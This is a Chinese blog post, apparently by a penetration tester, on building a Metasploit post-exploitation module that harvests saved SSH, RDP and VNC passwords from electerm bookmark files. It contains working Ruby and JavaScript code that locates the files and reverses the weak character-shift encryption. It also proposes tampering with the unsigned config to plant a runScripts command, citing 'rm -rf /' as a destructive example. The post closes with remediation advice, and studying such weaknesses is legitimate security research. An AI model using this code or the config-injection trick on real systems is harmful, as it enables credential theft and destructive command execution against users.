编写metasploit模块提取electerm密码

前言

  • 继续完善后渗透信息收集的模块,这次的收集对象是https://github.com/electerm/electerm/,一个开源终端/ssh/telnet/serialport/RDP/VNC/sftp客户端。

配置文件

  • 安装后打开软件,创建书签,可选类型有ssh,telnet,rdp和vnc协议,也就只有这几个能保存密码的。

图片.png

  • 填完信息后点击保存,就可以在旁边创建书签了。

图片.png

  • 当时在window系统也安装了,所以直接使用文件监控就知道哪些文件做操作了,最后找到了用户AppData\Roaming\electerm\users\default_user目录下的一个electerm.bookmarks.nedb文件,打开查看是json格式的文本,下面是格式化后的样例数据,但是里面的密码并不是我当时创建书签所填写的,可以发现是已经加密过的。
{
	"_id": "W7oqOeB",
	"title": "",
	"color": "#6a737d",
	"host": "127.0.0.1:22",
	"username": "root",
	"authType": "password",
	"password": "2468:<",
	"port": 22,
	"runScripts": [{}],
	"encode": "utf-8",
	"enableSsh": true,
	"envLang": "en_US.UTF-8",
	"term": "xterm-256color",
	"displayRaw": false,
	"sshTunnels": [],
	"connectionHoppings": [],
	"passwordEncrypted": true
}
  • 总结一下配置文件的路径,都是在用户的配置文件夹
操作系统书签配置文件路径
windowC:\Users\FireEye\AppData\Roaming\electerm\users\default_user\electerm.bookmarks.nedb
linux,osx,unix/home/kali-team/.config/electerm/users/default_user/electerm.bookmarks.nedb

解密密码

  • 由于是开源项目,所以通过查看源码很快就可以得到解密算法,其实就是一个字符位移加密,类似凯撒密码,所以基本上没有达到加密效果

https://github.com/electerm/electerm/blob/master/src/app/common/pass-enc.js

  • 我们尝试对上面的2468:<密文做解密操作,将javascript直接复制到浏览器控制台回车就得到明文为:123456
"2468:<".split('').map((s, i) => {
    return String.fromCharCode((s.charCodeAt(0) - i - 1 + 65536) % 65536)
  }).join('')

图片.png

  • 当然我们要写的metasploit模块是ruby代码,简单转换一下得到ruby代码为:
# Decrypt password https://github.com/electerm/electerm/blob/master/src/app/common/pass-enc.js
def dec_electrm_password(enc)
  result = enc.chars.map.with_index do |s, i|
    ((s.ord - i - 1 + 65536) % 65536).chr
  end.join
  return result
end

模块编写

  • 根据不同操作系统获取书签的路径
  def get_bookmarks_path
    bookmarks_dir = ''
    case session.platform
    when 'windows'
      app_data = get_env('AppData')
      if app_data.present?
        bookmarks_dir = app_data + '\Roaming\electerm\users\default_user'
      end
    when 'linux', 'osx', 'unix'
      home = get_env('HOME')
      if home.present?
        bookmarks_dir = home + '/.config/electerm/users/default_user'
      end
    end
    bookmarks_path = File.join(bookmarks_dir, 'electerm.bookmarks.nedb')
    return bookmarks_path
  end
  • 拼接文件名组成完整路径,然后读取文件逐行解析json为字典对象,然后判断是否有密码和是否加密,如果有加密调用解密函数替换密文,返回结果。
  def parse_jsonlines(line)
    result_hashmap = Hash.new
    begin
      result_hashmap = JSON.parse(line)
    rescue ::JSON::ParserError => e
      raise Error::ParserError, "[parse_bookmarks] #{e.class} - #{e}"
    end
    if result_hashmap.key?("password")
      if result_hashmap.key?("passwordEncrypted")
        result_hashmap["password"]=dec_electrm_password(result_hashmap["password"])
      end
    end
    return result_hashmap
  end
  • 最后打印结果,保存信息到数据库,效果如下:

图片.png

其他攻击思路

  • 我在创建书签的时候发现了添加运行脚本,双击打开就会自动运行设置好的命令,而这个书签配置文件是可以被任意修改的,并没有对修改的数据做签名校验,也就是其他用户可以绕过工具去修改这个配置文件,而这个工具在重新加载配置文件后信任了被恶意添加的脚本命令。例如下面的一个本地终端:
{
	"_id": "GVhcAD-",
	"title": "evil script",
	"runScripts": [{
		"delay": 1,
		"script": "echo kali-team"
	}],
	"color": "#e99695",
	"description": "evil",
	"type": "local",
	"term": "xterm-256color",
	"displayRaw": false
}
  • 打开后一秒自动执行一条echo命令,试想一下这是一条恶意的命令,比如:rm -rf /,你双击打开一台服务器,输入密码登录上服务器,过了1秒,自动将上面的恶意命令执行了,是不是可以提桶跑路了。

图片.png

总结

  • electron其实内置有很完善的数据加密存储方案,像浏览器一样在window中使用DPAPI加解密,在linux和mac下使用系统密钥环加解密,都可以更加安全得保护用户的凭证信息,就算配置文件被拷到其他电脑也无法被解密,恰恰相反这个工具有一个数据同步功能导致配置文件到任意一台电脑都可以被正常读取解密。如果想要更好的保护数据,最好使用AES加密,密钥由用户设置作为启动主密码,就算将配置文件同步到其他地方泄漏了没有主密码一样无法解密。
  • 还有自动执行脚本命令的功能,需要达到配置文件防篡改,应该对没一个书签配置做签名校验,当这个配置文件不是有软件自身修改的则无法通过签名校验,中断加载配置文件。

参考